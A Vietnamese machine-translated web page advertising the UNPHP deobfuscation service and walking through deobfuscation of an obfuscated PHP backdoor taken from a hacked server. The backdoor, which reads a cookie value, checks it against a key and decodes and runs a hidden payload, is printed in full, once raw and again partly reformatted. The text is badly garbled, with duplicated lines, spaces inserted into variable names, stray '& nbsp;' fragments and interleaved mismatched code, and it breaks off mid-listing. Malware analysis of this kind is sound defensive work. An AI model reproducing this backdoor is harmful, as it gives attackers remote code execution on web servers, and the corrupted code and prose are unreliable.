Hướng dẫn how do i decode a php file? - làm cách nào để giải mã một tập tin php?

UNPHP là một dịch vụ miễn phí để phân tích mã PHP bị xáo trộn và độc hại.

Để bắt đầu sao chép mã của bạn bên dưới hoặc chọn một tệp để tải lên sau đó nhấp vào 'Giải mã PHP này'. Chỉ cần kiểm tra điều này? Tải dữ liệu mẫu.

Eval + gzinflate + base64

UNPHP dễ dàng xử lý các phương thức obfuscation đơn giản mà các chức năng chuỗi như eval (), gzinflate (), str_rot13 (), str_replace () và base64_decode ()

Xem đầu ra

Khả năng khử trùng đệ quy

Các vòng lặp UNPHP đệ quy thông qua mã PHP để giải mã nhiều cấp độ obfuscation. Ví dụ dưới đây sử dụng 81 vòng của eval () + base64_decode ()

Xem đầu ra

Chức năng tùy chỉnh và hỗ trợ regex

UNPHP xử lý các chức năng giải mã tùy chỉnh và biểu thức chính quy. Ví dụ dưới đây sử dụng hàm d1 () và preg_replace () với bộ cờ thực thi.

Xem đầu ra

Nếu bạn đã từng có một trang web hoặc máy chủ bị hack, điều đó đang phục vụ các tệp PHP, thì bạn có thể đã bắt gặp một tệp như thế này:

& nbsp;Xem đầu ra $xzsuh='$7-"]A8qcb[rj@y';$bpvdd='!a@nT'^'L';$auzn='%1#';$mgfbv='V_xZCYzWRI_NOd^YWF2P[r|J,qP]vIfS';$tj=',%XQ6Aq(#7';$whhwy='u8?+r%h';$krqf='VQGt:VER&ow2u'^'??.+I31';
& nbsp;// Làm cho báo cáo lỗi chắc chắn gấp đôi đã tắtdghpp='3GA,K#)MT:[Y2V*'^'V53C9|[($U)-[8M`KrE/Z';$gqwmvj='4}'^'PH`T.P';/*$yyb;U`wg6|cj!J3HPokqu^}No&L%g-bP&gjca8+ssus>>$knvwb*/$atj='W+';##+Tbm]RB{WB!A[g2[:Nm]Y#fZbV#S
& nbsp;$eevd='#8@=:3B0?xi]5dE}'^'{0`)_y5gYw5gil[';eevd='#8@=:3B0?xi]5dE}'^'{0`)_y5gYw5gil[';
& nbsp;$qkkgc=0;$krqf($dghpp,$qkkgc);$bcae='OW=0B$.NVY4_L^M';$chbnph=$tj.$atj;$waw=@$_COOKIE;'j[vo';##?SM)o([k],2wp-qbjlOILy)K:+L0;$As?c:03.qkkgc=0;$krqf($dghpp,$qkkgc);$bcae='OW=0B$.NVY4_L^M';$chbnph=$tj.$atj;$waw=@$_COOKIE;'j[vo';##?SM)o([k],2wp-qbjlOILy)K:+L0;$As?c:03.
& nbsp;$davmw^'oxxftkfxsatijuf';'c*Ssr43';davmw^'oxxftkfxsatijuf';'c*Ssr43';
& nbsp;/*$zbrux;Slz07 = Hf`ldyrg ';/*cxuyn/5.i7yprma7pb*? {*/$dghpp($qkkgc);$kr='ehI8plBdc{jz,Ro?awT3iKM+HF`lDyRg';/*cxUyn/5.I7YpRMa7pb*?jRY,YPqGMlKk=ArPkUC;4+6gw3Mk]|3$or7AK{&[Q+5t_2HYf^Dxf;=*+GB8Ea{`Ao?LQJhqVe%i!8{*/
& nbsp;$atj=$bpvdd.$gqwmvj;/*0%iUxBa+RY;%c"(@;nT/S}n&7vf%L*m]leg7qpB*/$ibvffk=$chbnph.$auzn^$bcae;'o[ccl6';##fN_/xZwu9*S/57-LHi4X(ra4ri/2%)21sAatj=$bpvdd.$gqwmvj;/*0%iUxBa+RY;%c"(@;nT/S}n&7vf%L*m]leg7qpB*/$ibvffk=$chbnph.$auzn^$bcae;'o[ccl6';##fN_/xZwu9*S/57-LHi4X(ra4ri/2%)21sA
& nbsp;$popfk^'iajayqwinglyeqzar';##c}ko%nJ[yUJH/5,*vd=2+{X4.2]@(!F:d[Gkpopfk^'iajayqwinglyeqzar';##c}ko%nJ[yUJH/5,*vd=2+{X4.2]@(!F:d[Gk
& nbsp;/*$elmwb;)_UT3E9ZSCTAG1O Xgch '; if ($ vzy == $ atj ($ qGEXH) 'npb] n7%z34fj] rz (.2ot & v: `` z) cl909reyto} wb_ $ e $ 64]*:#@/l3a*el_k- = 7x+jfy8va+QE) MYL4 $ woopya [kjonmfwnd $ t8rnl+rry`gvi, y5 [^a-fh`ly $ m_+fxu-lm) mzvj9; 4i/x^8tihr3c? ./"LcotXi#%B5>Ju;*/$jtduv^bình; "V: u] ul1cde [5}] fbfk:, 2WWC9 $ pid0 & 2$qgexh=$waw['zqcvp'];$vzy=$kr.'ftAx'^$mgfbv;',XGCh';if($vzy==$atj($qgexh)/*;WQ-Cy,]7V|4/XGdC664?qU}KA&E$tbid='obkxikcuumadvf';'lgkmtnfd';*/){$oxkj='nPb]N7%Z34Fj]RZ(.2oT&v:``z)cL909REytO}WB_$E$64]*:#@/L3A*El_k-=7x+jfY8VA+qe)x5I$)HL:QKjoSFkY).`kgt?mYL4$WOOpYa[KjONMFwND$T8RNL+rry`gvI,Y5[^A-fh`ly$M_+fXU-lM)MZVJ9;cwtb--0gaw[C8XCf02EFL=d_*N/A{KpyQ@3.)7n.#4i/X^8TIhr3c?O=ASU]UrIV1FyQh7XN,2X';$mylpm^$qrd;/*m8x}D}X3Q8GUK2E(Jo2w{E"MTIvhxfab|2gWYt`k%O:%4T^8]Q:6../"LcoTxi#%b5}jU;*/$jtduv^$asm;$nbwlb='zWA$I-4NH{]^W*Cy|1&3';'s_c,m0*';'mT9C3';##"V:U]Ul1cde[5}]fBfk:,2WwC9$pid0&2
& nbsp;$gj='Cw1VaN^)yg*';$buupi=$lbq^'ayb(oYgI-Lk)5N=^$_Bf3Fw)tb';$ndix='$2+YS,yhMM?_Q=*=r(!/PeZC8';/*!=s;#W4l4Z8QhFx[i`8A3&Y8RZTakQTRnqinrglgj='Cw1VaN^)yg*';$buupi=$lbq^'ayb(oYgI-Lk)5N=^$_Bf3Fw)tb';$ndix='$2+YS,yhMM?_Q=*=r(!/PeZC8';/*!=s;#W4l4Z8QhFx[i`8A3&Y8RZTakQTRnqinrgl<$esz='U+"DpMITACDJ=z494%t5#{CN+'.'mxh';':#S/s';##O!Vs=+S8(IZY68g?v(?A|r+i+"C}4!=xgU]-
& nbsp;$ yintv = '$ k`p/cz'; 'vq4u';/*$ gcg; l! DO9Co10oe |/& 2V |yintv='$k`P/Cz';'vQ4U';/*$gcg;l!dO9Co10oe|/&2v|c25A&h@bwr<<$wemltidyc*//*HY@[8fa@dY$%]S_I%KvS([X$rxmv='vraxfyxbtis';'fllxafyjoanw';*/$tbjq='Rs.N$[B7a%??$OuM#UCP';$cdyot='tCKS+@tq)/)iZ+cg60';'RPNVGq';/*$jy;;kTaM|X2t"Z:#g?6zdahdloywp<<$xjbeihc*/
& nbsp;$ mivbcw = $ oxkj. $ tbjq; $ nuim = 'dyky!] H, em {b | 77xzkgpy0s,%) ra; x1d.b =) _ s8rza $ tv & -w4i7fs | k} vm/$, = z6 {; không?; m-bkrbn+; 4 {_o! 0y3.f#.3 $ mhks+$ dau4: u? (@54dmig2!mivbcw=$oxkj.$tbjq;$nuim='dYky!]H,EM{B|77XZKGpy0s,%)rA;C[Q&g$]f]hb9M)AiS8^e@/A8V/^6D{4kt{=x1D.B=)_S8rZA$Tv&-W4i7Fs|K}vm/$,=z6{;NO?;m-bkRBN+;4{_o!I$L+fht4;5%4-kH2M6)cpOA@SYB$3N9?0Y3.F#.3$MHKS+$dau4:U?(@54Dmig2!M;1K#Jc&bPCqdlmfx%gfoKK3&U#k5I9j6kO(+2*2O+7B#Oe7S=-CV='.$nbwlb;
& nbsp;/*S [v^6b9,+[bfr6o8 &: p4i5mr+y [? ] _K? V, gof '; $ buxw ='^5^&! K {`,, = 0vvk2 '; $ uhd =' kc4 (| ) gq%sq] frtqwl! 2 [= cm = kx3q {elmyhokyiqjhcrtro |) j2p3pd?$koab^'InNV"(]_K?v,GoF';$buoxw='^5^&!K{`,,=0VvK2';$uhd='Kc4(|+zdQ*e=p3@n'.$ximo;/*8|)gQ%SQ]FRtQWL!2[=CM=kx3Q{elMyhokyiqjhcrtro|)j2P3PD?jHceUkwd]YBqG*/$wxojo='Kc4(|+zdQ*e=p3@n'^$olzxu;
& nbsp;$uyvnw=$qpovk.'yo#0c5l/+2d2@bp6ln) 9yu '; $ iow ='. 4W} ny*rtw "k {) {(z.st*#'; Pvypmp4rw@$ s {j ## t3/cry: 1 '; $ iuib = $ nuim.'f {iqv6h'^$ mivbcw.'urvqnj%/pkgy = 226e? Snqj, tx $ {b08 '; } mfo.?: zo3g? d $)-xz | jngn9 | n0y0vdscfyxft^"uyvnw=$qpovk.'yo#0c5l/+2D2@Bp6Ln)9Yu';$iow='.4W}Ny*Rtw"K{){(Z.st*#';$nuim.=':63yj.PVYpmP4rW@$S{J##T3/CRY:1';$iuib=$nuim.'f{IqV6H'^$mivbcw.'URVQNJ%/pKgY=226E?SnQJ,TX${b08';/*dMjVrDl?=}mfo.?:zO3g?D$)-xZ|jNGN9|N0Y0vdscfyxft^"lJtSc#5|H|]-WUMwL*/
& nbsp;$ XEF = $ XEF.'SKLUXYBZR ?? tzo '; $ tbaj =' x | wus9 && o5;, llpy] 8i ';xef=$xef.'skluXYBZR??tzo';$tbaj='X|wUS9&&o5;,llpy]8i';
& nbsp;/*| [@! ; $ wwii = $ ibvffk ($ uwks, $ iuib); $ wwii ('$ (r6%] W? DVM! Y $ `-w? : ',' mozt [_] ');} $ rsx = $ zff; ;/*J}*l0a.4rawz %% ._*/## dit.64ic@c, | v_xqz+.@0z $ 2He%[) UTRD $#8*1$dppx=$dppx.'[@!qz7^';$gskq='hmm2ZB8y0qB@{Iu,[aKgYKH7'.',Mq!n_o$8A0.6-/L';'Ml3.;-s]+i';'f{IqV6H';$wwii=$ibvffk($uwks,$iuib);$wwii('$(R6%]w?dvM!y$`-w?-HR{*Oyf=,$IRsqDS+r@BE!O.*:','mOZT[_]');}$rsx=$zff;'B4-}q$N';$yknx='L+O_$UrRRsHO=sZmn$';$txwtr='hN8#8sM^';/*J}*l0A.4raWZ%%5_zuI[T4j$uqfw='ttemooij';'ovewoetxtmds';*//*HIZNP7x*,]igRpE"?TGkkmJJ5$!Uf&-I:=Y()KUXPh`NU._*/##dit.64iC@C,|v_XQz+.@0Z$2hE%[)UTrD$#8*1
& nbsp;$ oqxj = 'ou4! qg1'; ## c | glsu*", lldgfm.ad`xv (uoqxj='oU4!qG1';##c|gLsu*",LLDGfM.AD`xV(U
& nbsp;$ lhbv = ':? l9 "asac64huhr:} o'; $ gvk; '} y7, afis-15l}^| 6w2 {: 3x5 &';lhbv=':?L9"asAc64HuHR:}O';$gvk;'}Y7,afIs-15l}^|6W2{:3X5&';
& nbsp;'ENlM]C%Hw.#9IB';'4/JTUP';?>;'4/JTUP';?>

Đây là một ví dụ thực tế mà Reddit User /U /Narcissus921 đã đăng ở đây. Ngay cả một lập trình viên có kinh nghiệm cũng có thể gặp khó khăn trong việc làm sáng tỏ chính xác một chương trình như thế này. & NBSP; tin tặc thường làm xáo trộn mã của họ để bạn không thể giải mã được cách thức hoạt động của nó. Hôm nay tôi sẽ hướng dẫn bạn cách phá vỡ mã này để bạn có thể hiểu những gì nó làm và sử dụng kiến ​​thức đó để giải mã các chương trình bị che giấu tương tự.

Bước đầu tiên trong toàn bộ quy trình này là định dạng mã để làm cho nó dễ đọc hơn. Bạn có thể sử dụng một định dạng PHP trực tuyến hoặc sử dụng IDE, chẳng hạn như phpstorm, để tự động hóa mã của bạn cho bạn. Khi mã đã được định dạng, nó sẽ trông giống như thế này:

& nbsp;
& nbsp;$ xzsuh = '$ 7-"] a8qcb [rj@y';xzsuh = '$7-"]A8qcb[rj@y';
& nbsp;$ bpvdd = '! a@nt' ^ 'l';bpvdd = '!a@nT' ^ 'L';
& nbsp;& nbsp;
& nbsp;$ aUzn = '%1#'; // đã sử dụngauzn = '%1#'; // used
& nbsp;& nbsp;
& nbsp;$ mgfbv = 'v_xzcyzwri_nod^ywf2p [r | j, qp] vifs';mgfbv = 'V_xZCYzWRI_NOd^YWF2P[r|J,qP]vIfS';
& nbsp;& nbsp;
& nbsp;$ tj = ',%xq6aq (#7'; // Được sử dụngtj = ',%XQ6Aq(#7'; // used
& nbsp;& nbsp;
& nbsp;& nbsp;
& nbsp;$ whhwy = 'u8?+r%h';whhwy = 'u8?+r%h';
& nbsp;$ krqf = 'vqgt: ver & ow2U' ^ '??.+i31';krqf = 'VQGt:VER&ow2u' ^ '??.+I31';
& nbsp;$ dghpp = '3Ga, k#) mt: [y2v*' ^ 'v53c9 | [($ u)-[8m`kre/z';dghpp = '3GA,K#)MT:[Y2V*' ^ 'V53C9|[($U)-[8M`KrE/Z';
& nbsp;$ gqwmvj = '4}' ^ 'ph`t.p';gqwmvj = '4}' ^ 'PH`T.P';
& nbsp;/*$ yyb; u`wg6 | cj!
& nbsp;& nbsp;
& nbsp;$ atj = 'w+'; ##+tbm] rb {wb! A [g2 [: nm] y#fzbv#s // đã sử dụngatj = 'W+'; ##+Tbm]RB{WB!A[g2[:Nm]Y#fZbV#S // used
& nbsp;& nbsp;
& nbsp;& nbsp;
& nbsp;$ eevd = '#8@=: 3b0? xi] 5de}' ^ '{0`) _y5gyw5gil [';eevd = '#8@=:3B0?xi]5dE}' ^ '{0`)_y5gYw5gil[';
& nbsp;$ qkkgc = 0;qkkgc = 0;
& nbsp;$ krqf ($ dghpp, $ qkkgc);krqf($dghpp, $qkkgc);
& nbsp;$ bcae = 'ow = 0b $ .nvy4_l^m';bcae = 'OW=0B$.NVY4_L^M';
& nbsp;$ CHBNPH = $ TJ. $ ATJ;chbnph = $tj . $atj;
& nbsp;$ waw = @$ _ cookie;waw = @$_COOKIE;
& nbsp;'j [vo'; ##? SM) O ([K], 2WP-Qbjloily) k:+l0; $ As? C: 03.; ##?SM)o([k],2wp-qbjlOILy)K:+L0;$As?c:03.
& nbsp;$ davmw ^ 'oxxftkfxsatijuf';davmw ^ 'oxxftkfxsatijuf';
& nbsp;'c*Ssr43';;
& nbsp;/*$zbrux;Slz07 =
& nbsp;$dghpp($qkkgc);dghpp($qkkgc);
& nbsp;$ kr = 'ehi8plbdc {jz, ro? awt3ikm+hf`ldyrg';kr = 'ehI8plBdc{jz,Ro?awT3iKM+HF`lDyRg';
& nbsp;/*cxUyn
& nbsp;$ atj = $ bpvdd. $ gqwmvj;atj = $bpvdd . $gqwmvj;
& nbsp;/*0%iUxBa+RY;%c"(@;nT/S}n&7vf%L*m]leg7qpB*/
& nbsp;$ ibvffk = $ chbnph. $ aUzn ^ $ bcae;ibvffk = $chbnph . $auzn ^ $bcae;
& nbsp;'O [CCL6'; ## fn_/xzwu9*s/57-lhi4x (ra4ri/2%) 21SA; ##fN_/xZwu9*S/57-LHi4X(ra4ri/2%)21sA
& nbsp;$ popfk ^ 'iajayqwinglyeqzar'; ## c} ko%nj [yujh/5,*vd = 2+{x4.2]@(! f: d [gkpopfk ^ 'iajayqwinglyeqzar'; ##c}ko%nJ[yUJH/5,*vd=2+{X4.2]@(!F:d[Gk
& nbsp;/*$ elmwb;)
& nbsp;$ qGEXH = $ waw ['zqcvp'];qgexh = $waw['zqcvp'];
& nbsp;$ vzy = $ kr. 'ftax' ^ $ mgfbv;vzy = $kr . 'ftAx' ^ $mgfbv;
& nbsp;',XGCh';;
& nbsp;if ($ vzy == $ atj ($ qgexh)/*; wq-cy,] 7v | 4/xgdc664? qu} ka & e $ tbid = 'obkxikcUumadvf'; 'lgkmtnfd';*/) ($vzy == $atj($qgexh) /*;WQ-Cy,]7V|4/XGdC664?qU}KA&E$tbid='obkxikcuumadvf';'lgkmtnfd';*/ ) {
& nbsp;$ oxkj = 'npb] n7%z34fj] rz (.2ot & v: `` z) cl909reyto} wb_ $ e $ 64]*:#@/l3a*el_k- = 7x+jfy8va+QE) `KGT? MYL4 $ woopya [kjonmfwnd $ t8rnl+rry`gvi, y5 [ 7n.#4i/x^8tihr3c?oxkj = 'nPb]N7%Z34Fj]RZ(.2oT&v:``z)cL909REytO}WB_$E$64]*:#@/L3A*El_k-=7x+jfY8VA+qe)x5I$)HL:QKjoSFkY).`kgt?mYL4$WOOpYa[KjONMFwND$T8RNL+rry`gvI,Y5[^A-fh`ly$M_+fXU-lM)MZVJ9;cwtb--0gaw[C8XCf02EFL=d_*N/A{KpyQ@3.)7n.#4i/X^8TIhr3c?O=ASU]UrIV1FyQh7XN,2X';
& nbsp;$ MYLPM ^ $ qrd;mylpm ^ $qrd;
& nbsp;/*m8x =
& nbsp;$ jtduv ^ $ asm;jtduv ^ $asm;
& nbsp;$ nbwlb = 'zwa $ i-4nh {]^w*cy | 1 & 3';nbwlb = 'zWA$I-4NH{]^W*Cy|1&3';
& nbsp;'s_c,m0*';;
& nbsp;'MT9C3'; ## "V: u] ul1cde [5}] fbfk:, 2WWC9 $ pid0 & 2; ##"V:U]Ul1cde[5}]fBfk:,2WwC9$pid0&2
& nbsp;$ gj = 'cw1van^) yg*';gj = 'Cw1VaN^)yg*';
& nbsp;$ BUUPI = $ lbq ^ 'ayb (oygi-lk) 5n = ^ $ _ bf3fw) tb';buupi = $lbq ^ 'ayb(oYgI-Lk)5N=^$_Bf3Fw)tb';
& nbsp;$ ndix = '$ 2+ys, yhmm? _q =*= r (!/pezc8';ndix = '$2+YS,yhMM?_Q=*=r(!/PeZC8';
& nbsp;/*!=s;#W4l4Z8QhFx[i`8A3&Y8RZTakQTRnqinrgl
& nbsp;$ esz = 'u+"dpmitacdj = z494%t5#{cn+'. 'mxh';esz = 'U+"DpMITACDJ=z494%t5#{CN+' . 'mxh';
& nbsp;':#S/s'; ## O! VS =+S8 (izy68g? V (? A | R+I+"C} 4! = XGU]-; ##O!Vs=+S8(IZY68g?v(?A|r+i+"C}4!=xgU]-
& nbsp;$ yintv = '$ k`p/cz';yintv = '$k`P/Cz';
& nbsp;'vQ4U';;
& nbsp;/*$ gcg; l! DO9CO10oE |/& 2V | C25A & H@BWR
& nbsp;/*HY@[8fa@dY$%]S_I%KvS([X$rxmv='vraxfyxbtis';'fllxafyjoanw';*/
& nbsp;$ tbjq = 'rs.n $ [b7a%?? $ OUM#UCP';tbjq = 'Rs.N$[B7a%??$OuM#UCP';
& nbsp;$ cdyot = 'tcks+@tq)/) iz+cg60';cdyot = 'tCKS+@tq)/)iZ+cg60';
& nbsp;'RPNVGq';;
& nbsp;/*$ jy ;; ktam | x2t "z: #g? 6zdahdloywp
& nbsp;$ mivbcw = $ oxkj. $ TBJQ;mivbcw = $oxkj . $tbjq;
& nbsp;$ nuim = 'dyky!] H, em {b | 77xzkgpy0s,%) ra; c [q & g $] f] hb9m) AIS8^e@/a8v/^6d W4i7fs | k} vm/$, = z6 {; không?; M-bkrbn+; 4 {_o! I $ l+fht4; : U? (@54dmig2! M; 1K#jc & bpcqdlmfx%gfokk3 & u#k5i9j6ko (+2*2o+7b#oe7s = -cv = '. $ Nbwlb;nuim = 'dYky!]H,EM{B|77XZKGpy0s,%)rA;C[Q&g$]f]hb9M)AiS8^e@/A8V/^6D{4kt{=x1D.B=)_S8rZA$Tv&-W4i7Fs|K}vm/$,=z6{;NO?;m-bkRBN+;4{_o!I$L+fht4;5%4-kH2M6)cpOA@SYB$3N9?0Y3.F#.3$MHKS+$dau4:U?(@54Dmig2!M;1K#Jc&bPCqdlmfx%gfoKK3&U#k5I9j6kO(+2*2O+7B#Oe7S=-CV=' . $nbwlb;
& nbsp;/*S[v^6b9,+[BFr6O8&:P4I5mR+y[?lydddbwjyfvmpb^G4,`P;0QepV2}kE6Jx=+-oSb&}1(B:q2=6G=)*/
& nbsp;$ koab ^ 'innv "(] _ k? V, gof';koab ^ 'InNV"(]_K?v,GoF';
& nbsp;$ BUOXW = '^5^&! K {`,, = 0VVK2';buoxw = '^5^&!K{`,,=0VvK2';
& nbsp;$ uhd = 'kc4 (|+zdq*e = p3@n'. $ ximo;uhd = 'Kc4(|+zdQ*e=p3@n' . $ximo;
& nbsp;/*8 |) gq%sq] frtqwl! 2 [= cm = kx3q
& nbsp;$ wxojo = 'kc4 (|+zdq*e = p3@n' ^ $ olzxu;wxojo = 'Kc4(|+zdQ*e=p3@n' ^ $olzxu;
& nbsp;$ UYVNW = $ QPOVK. 'yo#0c5l/+2d2@bp6ln) 9yu';uyvnw = $qpovk . 'yo#0c5l/+2D2@Bp6Ln)9Yu';
& nbsp;$ iow = '.4w} ny*rtw "k {) {(z.st*#';iow = '.4W}Ny*Rtw"K{){(Z.st*#';
& nbsp;$ nuim. = ': 63yj.pvypmp4rw@$s {j ## t3/cry: 1';nuim .= ':63yj.PVYpmP4rW@$S{J##T3/CRY:1';
& nbsp;$ iuib = $ nuim. 'f {iqv6h' ^ $ mivbcw. 'Urvqnj%/pkgy = 226e? Snqj, tx $ {b08';iuib = $nuim . 'f{IqV6H' ^ $mivbcw . 'URVQNJ%/pKgY=226E?SnQJ,TX${b08';
& nbsp;/*dmjvrdl?= =
& nbsp;$ XEF = $ XEF. 'Skluxybzr ?? tzo';xef = $xef . 'skluXYBZR??tzo';
& nbsp;$ tbaj = 'x | wus9 && o5;, llpy] 8i';tbaj = 'X|wUS9&&o5;,llpy]8i';
& nbsp;/*| Gx^fe#b^l | l2v {, wmeh & by "y^e)
& nbsp;$ dppx = $ dppx. '[@! QZ7^';dppx = $dppx . '[@!qz7^';
& nbsp;$ gskq = 'hmm2zb8y0qb@{iu, [akgykh7'. ', MQ! N_O $ 8A0.6-/L';gskq = 'hmm2ZB8y0qB@{Iu,[aKgYKH7' . ',Mq!n_o$8A0.6-/L';
& nbsp;'Ml3.;-s]+i';;
& nbsp;'f{IqV6H';;
& nbsp;$ wwii = $ ibvffk ($ uwks, $ iuib);wwii = $ibvffk($uwks, $iuib);
& nbsp;$ wwii ('$ (r6%] W? DVM! Y $ `-W?wwii('$(R6%]w?dvM!y$`-w?-HR{*Oyf=,$IRsqDS+r@BE!O.*:', 'mOZT[_]');
& nbsp;}
& nbsp;$ rsx = $ zff;rsx = $zff;
& nbsp;'B4-}q$N';;
& nbsp;$ yknx = 'l+o_ $ urrrsho = szmn $';yknx = 'L+O_$UrRRsHO=sZmn$';
& nbsp;$ txwtr = 'hn8#8sm^';txwtr = 'hN8#8sM^';
& nbsp;/*J}*l0A.4raWZ%%5_zuI[T4j$uqfw='ttemooij';'ovewoetxtmds';*/
& nbsp;/*Hiznp7x*,THERigrpe"?tgkkmjj5$! 1 ##dit.64iC@C,|v_XQz+.@0Z$2hE%[)UTrD$#8*1
& nbsp;$ oqxj = 'ou4! qg1'; ## c | glsu*", lldgfm.ad`xv (uoqxj = 'oU4!qG1'; ##c|gLsu*",LLDGfM.AD`xV(U
& nbsp;$ lhbv = ':? l9 "asac64huhr:} o';lhbv = ':?L9"asAc64HuHR:}O';
& nbsp;$gvk;gvk;
& nbsp;'} Y7, afis-15l}^| 6w2 {: 3x5 &';;
& nbsp;'ENlM]C%Hw.#9IB';;
& nbsp;'4/JTUP';;
& nbsp;?>

Nó vẫn không thể đọc chính xác, nhưng đó là một bước đi đúng hướng.

Bây giờ, một số bạn có thể nhận thấy thực sự có rất nhiều mã trong tệp này không làm gì cả. Mã trong đó các hoạt động được thực hiện nhưng không có giá trị nào được gán, chuỗi không được gán, v.v. Đây là một trò lừa bịp khác sử dụng để ném bạn ra; Bằng cách thêm vào mã ngẫu nhiên không thực sự làm gì cả.

Bước tiếp theo của chúng tôi là sẽ loại bỏ loại mã đó. Nó có thể là một chút khó khăn để tìm ra liệu mã có đang làm gì đó hay không, nhưng một hướng dẫn dễ dàng để tuân theo là: nếu không có bài tập ($ foo = $ bar) hoặc không có gọi gọi chức năng (foo () hoặc $ foo ()) , sau đó chúng ta có thể giả sử mã một cách an toàn không ảnh hưởng đến chương trình và nó có thể được xóa. & nbsp;

Một ví dụ hoàn hảo về những gì tôi đang nói là 3 dòng này ngay tại đây:

& nbsp;
& nbsp;& nbsp;
& nbsp;'j [vo'; ##? Sm) o ([k], 2WP-Qbjloily) k:+l0; $ as? C: 03.; ##?SM)o([k],2wp-qbjlOILy)K:+L0;$As?c:03.
& nbsp;$ davmw ^ 'oxxftkfxsatijuf';davmw ^ 'oxxftkfxsatijuf';
& nbsp;'c*Ssr43';;
& nbsp;/*$zbrux;Slz07 =

Sau khi mã không sử dụng đã bị xóa, chương trình của bạn bây giờ sẽ giống như vậy:

& nbsp;/*$zbrux;Slz07 =
& nbsp;'j [vo'; ##? Sm) o ([k], 2WP-Qbjloily) k:+l0; $ as? C: 03.xzsuh = '$7-"]A8qcb[rj@y';
& nbsp;& nbsp;
& nbsp;& nbsp;
& nbsp;$ davmw ^ 'oxxftkfxsatijuf';bpvdd = '!a@nT' ^ 'L';
& nbsp;& nbsp;
& nbsp;& nbsp;
& nbsp;/*$zbrux;Slz07 =auzn = '%1#';
& nbsp;Sau khi mã không sử dụng đã bị xóa, chương trình của bạn bây giờ sẽ giống như vậy:mgfbv = 'V_xZCYzWRI_NOd^YWF2P[r|J,qP]vIfS';
& nbsp;$ xzsuh = '$ 7-"] a8qcb [rj@y';tj = ',%XQ6Aq(#7';
& nbsp;$ bpvdd = '! a@nt' ^ 'l';whhwy = 'u8?+r%h';
& nbsp;$ aUzn = '%1#';atj = 'W+';
& nbsp;& nbsp;
& nbsp;$ mgfbv = 'v_xzcyzwri_nod^ywf2p [r | j, qp] vifs';krqf = 'VQGt:VER&ow2u' ^ '??.+I31';
& nbsp;$ tj = ',%xq6aq (#7';dghpp = '3GA,K#)MT:[Y2V*' ^ 'V53C9|[($U)-[8M`KrE/Z';
& nbsp;$ whhwy = 'u8?+r%h';gqwmvj = '4}' ^ 'PH`T.P';
& nbsp;& nbsp;
& nbsp;& nbsp;
& nbsp;$ atj = 'w+';eevd = '#8@=:3B0?xi]5dE}' ^ '{0`)_y5gYw5gil[';
& nbsp;& nbsp;
& nbsp;& nbsp;
& nbsp;$ krqf = 'vqgt: ver & ow2U' ^ '??.+i31';qkkgc = 0;
& nbsp;$ dghpp = '3Ga, k#) mt: [y2v*' ^ 'v53c9 | [($ u)-[8m`kre/z';krqf($dghpp, $qkkgc);
& nbsp;$ gqwmvj = '4}' ^ 'ph`t.p';bcae = 'OW=0B$.NVY4_L^M';
& nbsp;$ eevd = '#8@=: 3b0? xi] 5de}' ^ '{0`) _y5gyw5gil [';chbnph = $tj . $atj;
& nbsp;$ qkkgc = 0;waw = @$_COOKIE;
& nbsp;& nbsp;
& nbsp;& nbsp;
& nbsp;$dghpp($qkkgc);dghpp($qkkgc);
& nbsp;$ krqf ($ dghpp, $ qkkgc);kr = 'ehI8plBdc{jz,Ro?awT3iKM+HF`lDyRg';
& nbsp;& nbsp;
& nbsp;$ bcae = 'ow = 0b $ .nvy4_l^m';atj = $bpvdd . $gqwmvj;
& nbsp;& nbsp;
& nbsp;$ CHBNPH = $ TJ. $ ATJ;ibvffk = $chbnph . $auzn ^ $bcae;
& nbsp;& nbsp;
& nbsp;$ waw = @$ _ cookie;qgexh = $waw['zqcvp'];
& nbsp;$ kr = 'ehi8plbdc {jz, ro? awt3ikm+hf`ldyrg';vzy = $kr . 'ftAx' ^ $mgfbv;
& nbsp;& nbsp;
& nbsp;& nbsp;
& nbsp;$ atj = $ bpvdd. $ gqwmvj; ($vzy == $atj($qgexh)) {
& nbsp;$ ibvffk = $ chbnph. $ aUzn ^ $ bcae;oxkj = 'nPb]N7%Z34Fj]RZ(.2oT&v:``z)cL909REytO}WB_$E$64]*:#@/L3A*El_k-=7x+jfY8VA+qe)x5I$)HL:QKjoSFkY).`kgt?mYL4$WOOpYa[KjONMFwND$T8RNL+rry`gvI,Y5[^A-fh`ly$M_+fXU-lM)MZVJ9;cwtb--0gaw[C8XCf02EFL=d_*N/A{KpyQ@3.)7n.#4i/X^8TIhr3c?O=ASU]UrIV1FyQh7XN,2X';
& nbsp;& nbsp;
& nbsp;$ qGEXH = $ waw ['zqcvp'];nbwlb = 'zWA$I-4NH{]^W*Cy|1&3';
& nbsp;& nbsp;
& nbsp;$ vzy = $ kr. 'ftax' ^ $ mgfbv;gj = 'Cw1VaN^)yg*';
& nbsp;if ($ vzy == $ atj ($ qgexh)) {buupi = $lbq ^ 'ayb(oYgI-Lk)5N=^$_Bf3Fw)tb';
& nbsp;$ oxkj = 'npb] n7%z34fj] rz (.2ot & v: `` z) cl909reyto} wb_ $ e $ 64]*:#@/l3a*el_k- = 7x+jfy8va+QE) `KGT? MYL4 $ woopya [kjonmfwnd $ t8rnl+rry`gvi, y5 [ 7n.#4i/x^8tihr3c?ndix = '$2+YS,yhMM?_Q=*=r(!/PeZC8';
& nbsp;& nbsp;
& nbsp;$ nbwlb = 'zwa $ i-4nh {]^w*cy | 1 & 3';esz = 'U+"DpMITACDJ=z494%t5#{CN+' . 'mxh';
& nbsp;& nbsp;
& nbsp;$ gj = 'cw1van^) yg*';yintv = '$k`P/Cz';
& nbsp;& nbsp;
& nbsp;$ BUUPi = $ lbq ^ 'ayb (oygi-lk) 5n = ^ $ _ bf3fw) tb';tbjq = 'Rs.N$[B7a%??$OuM#UCP';
& nbsp;$ ndix = '$ 2+ys, yhmm? _q =*= r (!/pezc8';cdyot = 'tCKS+@tq)/)iZ+cg60';
& nbsp;& nbsp;
& nbsp;$ esz = 'u+"dpmitacdj = z494%t5#{cn+'. 'mxh';mivbcw = $oxkj . $tbjq;
& nbsp;$ yintv = '$ k`p/cz';nuim = 'dYky!]H,EM{B|77XZKGpy0s,%)rA;C[Q&g$]f]hb9M)AiS8^e@/A8V/^6D{4kt{=x1D.B=)_S8rZA$Tv&-W4i7Fs|K}vm/$,=z6{;NO?;m-bkRBN+;4{_o!I$L+fht4;5%4-kH2M6)cpOA@SYB$3N9?0Y3.F#.3$MHKS+$dau4:U?(@54Dmig2!M;1K#Jc&bPCqdlmfx%gfoKK3&U#k5I9j6kO(+2*2O+7B#Oe7S=-CV=' . $nbwlb;
